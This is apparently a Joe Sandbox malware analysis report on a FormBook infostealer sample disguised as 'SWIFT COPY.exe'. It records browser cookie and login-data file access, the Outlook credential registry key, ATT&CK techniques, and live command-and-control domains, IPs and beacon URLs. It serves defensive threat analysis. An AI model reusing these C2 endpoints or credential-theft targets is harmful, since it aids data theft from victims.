Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT COPY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 3.2.SWIFT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.SWIFT COPY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3579225872.0000000002C10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2223687657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3579265567.0000000002C60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2224196116.0000000000E10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3579400562.0000000002390000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2227839219.0000000001800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\finger.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\finger.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 3.2.SWIFT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.SWIFT COPY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3579225872.0000000002C10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2223687657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3579265567.0000000002C60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2224196116.0000000000E10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3579400562.0000000002390000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2227839219.0000000001800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	113 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SWIFT COPY.exe	35%	Virustotal		Browse
SWIFT COPY.exe	63%	ReversingLabs	Win32.Backdoor.FormBook
SWIFT COPY.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://api.libertyreserve.com/beta/xml/history.aspxS	0%	Avira URL Cloud	safe
http://www.pbfgm.xyz/fjd6/?Ir=beVfoldUF3/aok0FdWpvJC8HGsWBcAhapzZJ64FbAFAGDRV4pYz0MK1VY/vkdFXAOWskmP9Sk8tWhxHaAHTK2FUvh8SZisD6hpiODREZagit+S+U5/mb9Z4=&M8Gl=KPotmx2p0n	0%	Avira URL Cloud	safe
https://api.libertyreserve.com/beta/xml/balance.aspx	0%	Avira URL Cloud	safe
https://api.libertyreserve.com/beta/xml/transfer.aspx	0%	Avira URL Cloud	safe
https://api.libertyreserve.com/beta/xml/accountname.aspx	0%	Avira URL Cloud	safe
http://www.ascendercorp.com/typedesigners.html	0%	Avira URL Cloud	safe
http://www.smalleyes.icu/s6zh/?Ir=3lPbUJ/4EMFnMU367dk2ybPqIMylLyFhjqRifsXJf3a7S0x2d/GglTvwUDIMpGCMSyBp4aVeuGLlN5/zkDRsMKMrA2+vlNwKuHc+NKCv2NtQORSHn8saFjw=&M8Gl=KPotmx2p0n	0%	Avira URL Cloud	safe
http://www.smalleyes.icu/s6zh/	0%	Avira URL Cloud	safe
http://www.elinor.club/1ne4/?Ir=Xmf7DtAQ/BnKPHUir9F/DJAWe/lobbRTq1FD1Ek4pNpfKYXlmyGrxyMDIrQcVSlaQ+EmZyFY/HlqglCDghJI5jUfoqKY7Fz8p0/9FqW//8AiMTO0G3RJpL4=&M8Gl=KPotmx2p0n	0%	Avira URL Cloud	safe
http://www.smalleyes.icu	0%	Avira URL Cloud	safe
http://elinor.club/1ne4/?Ir=Xmf7DtAQ/BnKPHUir9F/DJAWe/lobbRTq1FD1Ek4pNpfKYXlmyGrxyMDIrQcVSlaQ	0%	Avira URL Cloud	safe
https://sci.libertyreserve.com/	0%	Avira URL Cloud	safe
https://api.libertyreserve.com/beta/xml/	0%	Avira URL Cloud	safe
https://api.libertyreserve.com/beta/xml/history.aspx	0%	Avira URL Cloud	safe
http://www.elinor.club/1ne4/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.smalleyes.icu	134.122.191.187	true	true	unknown
www.pbfgm.xyz	104.21.86.111	true	true	unknown
www.elinor.club	194.58.112.174	true	true	unknown
www.phdcoach.pro	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.smalleyes.icu/s6zh/?Ir=3lPbUJ/4EMFnMU367dk2ybPqIMylLyFhjqRifsXJf3a7S0x2d/GglTvwUDIMpGCMSyBp4aVeuGLlN5/zkDRsMKMrA2+vlNwKuHc+NKCv2NtQORSHn8saFjw=&M8Gl=KPotmx2p0n	true	Avira URL Cloud: safe	unknown
http://www.elinor.club/1ne4/?Ir=Xmf7DtAQ/BnKPHUir9F/DJAWe/lobbRTq1FD1Ek4pNpfKYXlmyGrxyMDIrQcVSlaQ+EmZyFY/HlqglCDghJI5jUfoqKY7Fz8p0/9FqW//8AiMTO0G3RJpL4=&M8Gl=KPotmx2p0n	true	Avira URL Cloud: safe	unknown
http://www.smalleyes.icu/s6zh/	true	Avira URL Cloud: safe	unknown
http://www.pbfgm.xyz/fjd6/?Ir=beVfoldUF3/aok0FdWpvJC8HGsWBcAhapzZJ64FbAFAGDRV4pYz0MK1VY/vkdFXAOWskmP9Sk8tWhxHaAHTK2FUvh8SZisD6hpiODREZagit+S+U5/mb9Z4=&M8Gl=KPotmx2p0n	true	Avira URL Cloud: safe	unknown
http://www.elinor.club/1ne4/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.tiro.com	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.libertyreserve.com/beta/xml/history.aspxS	SWIFT COPY.exe, 00000000.00000002.1886186642.0000000002B79000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.goodfont.co.kr	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.libertyreserve.com/beta/xml/transfer.aspx	SWIFT COPY.exe	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.ascendercorp.com/typedesigners.html	SWIFT COPY.exe, 00000000.00000002.1891587045.0000000008060000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.libertyreserve.com/beta/xml/accountname.aspx	SWIFT COPY.exe	false	Avira URL Cloud: safe	unknown
https://api.libertyreserve.com/beta/xml/balance.aspx	SWIFT COPY.exe	false	Avira URL Cloud: safe	unknown
http://elinor.club/1ne4/?Ir=Xmf7DtAQ/BnKPHUir9F/DJAWe/lobbRTq1FD1Ek4pNpfKYXlmyGrxyMDIrQcVSlaQ	finger.exe, 00000007.00000002.3579976646.0000000003D98000.00000004.10000000.00040000.00000000.sdmp, XwGiOcrCkQ.exe, 00000008.00000002.3579571028.00000000039A8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.smalleyes.icu	XwGiOcrCkQ.exe, 00000008.00000002.3579246443.0000000002E00000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.libertyreserve.com/beta/xml/history.aspx	SWIFT COPY.exe	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.libertyreserve.com/beta/xml/	SWIFT COPY.exe	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.coml	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sci.libertyreserve.com/	SWIFT COPY.exe	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
134.122.191.187	www.smalleyes.icu	United States	64050	BCPL-SGBGPNETGlobalASNSG	true
104.21.86.111	www.pbfgm.xyz	United States	13335	CLOUDFLARENETUS	true
194.58.112.174	www.elinor.club	Russian Federation	197695	AS-REGRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578068
Start date and time:	2024-12-19 08:38:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SWIFT COPY.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@4/3
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 90% Number of executed functions: 121 Number of non-executed functions: 321
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 20.12.23.50, 13.107.246.63
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
134.122.191.187	72STaC6BmljfbIQ.exe	Get hash	malicious	FormBook	Browse	www.smalleyes.icu/s6zh/
194.58.112.174	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse	www.synd.fun/6sgf/
	SRT68.exe	Get hash	malicious	FormBook	Browse	www.fantastica.digital/5srj/
	72STaC6BmljfbIQ.exe	Get hash	malicious	FormBook	Browse	www.elinor.club/1ne4/
	specification and drawing.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.synd.fun/6sgf/
	Pre Alert PO TVKJEANSA00967.bat.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.elinor.club/7plr/
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	www.sklad-iq.online/gdvz/
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	www.sklad-iq.online/gdvz/
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	www.sklad-iq.online/j4lg/
	PO AT-5228.exe	Get hash	malicious	FormBook	Browse	www.marketplacer.top/xprp/
	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	www.marketplacer.top/xprp/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.elinor.club	72STaC6BmljfbIQ.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
www.elinor.club	Pre Alert PO TVKJEANSA00967.bat.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.58.112.174
www.smalleyes.icu	72STaC6BmljfbIQ.exe	Get hash	malicious	FormBook	Browse	134.122.191.187
www.pbfgm.xyz	72STaC6BmljfbIQ.exe	Get hash	malicious	FormBook	Browse	172.67.218.146

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BCPL-SGBGPNETGlobalASNSG	http://93287.mobi	Get hash	malicious	Unknown	Browse	137.220.229.108
	T2dvU8f2xg.exe	Get hash	malicious	Unknown	Browse	118.107.29.172
	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	T2dvU8f2xg.exe	Get hash	malicious	Unknown	Browse	118.107.29.172
	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	VJQyKuHEUe.exe	Get hash	malicious	Unknown	Browse	27.50.63.8
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	nrGkqbCyKP.exe	Get hash	malicious	Unknown	Browse	27.50.63.8
	9Kdid5k13f.exe	Get hash	malicious	Unknown	Browse	27.50.63.8
CLOUDFLARENETUS	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	661fW9gxDp.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	bPkG0wTVon.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	S6oj0LoSiL.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	dlhost.exe	Get hash	malicious	XWorm	Browse	104.20.4.235
	c2A6GRyAwn.dll	Get hash	malicious	Nitol	Browse	104.21.42.47
AS-REGRU	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	194.58.59.91
	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	hax.ppc.elf	Get hash	malicious	Mirai	Browse	194.58.94.235
	Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Get hash	malicious	FormBook	Browse	31.31.198.145
	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse	194.87.189.43
	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse	194.87.189.43
	cXjy5Y6dXX.exe	Get hash	malicious	RHADAMANTHYS	Browse	193.124.205.63
	SRT68.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	New Order.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
	72STaC6BmljfbIQ.exe	Get hash	malicious	FormBook	Browse	194.58.112.174

Process:	C:\Users\user\Desktop\SWIFT COPY.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
